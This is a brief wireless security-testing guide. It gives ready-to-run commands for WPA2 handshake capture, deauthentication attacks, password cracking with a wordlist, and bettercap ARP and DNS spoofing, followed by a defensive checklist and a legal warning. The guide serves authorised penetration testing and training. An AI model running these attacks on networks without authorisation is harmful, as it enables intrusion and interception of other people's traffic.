Wireless Security Testing Methodology

Wireless networks present unique attack surfaces. This guide covers the essential tools and techniques for assessing Wi-Fi security.

Essential Tools

Aircrack-ng Suite

Put interface in monitor mode
airmon-ng start wlan0
Scan for networks
airodump-ng wlan0mon
Capture handshake for specific network
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
Deauth attack (to capture handshake)
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
Crack WPA2 handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

Wifite (Automated)

Automated scan and attack
wifite --kill --no-reaver
Target specific encryption
wifite --wpa --dict /path/to/wordlist.txt

Bettercap (MITM)

Start bettercap
bettercap -iface wlan0
ARP spoofing
> set arp.spoof.targets 192.168.1.0/24
> arp.spoof on
DNS spoofing
> set dns.spoof.domains example.com
> dns.spoof on

Assessment Checklist

• Encryption Strength: WPA3 > WPA2-AES > WPA2-TKIP > WEP (never use)
• SSID Security: Disable SSID broadcast in sensitive environments
• Client Isolation: Prevent lateral movement between wireless clients
• Rogue AP Detection: Monitor for evil twin attacks
• 802.1X/RADIUS: Enterprise authentication for corporate networks

Legal Warning

Wireless testing must only be performed on networks you own or have explicit written permission to test. Unauthorized wireless access is a criminal offense in most jurisdictions.

Conclusion

Regular wireless security assessments are essential for any organization. Combine automated scanning with manual testing for comprehensive coverage.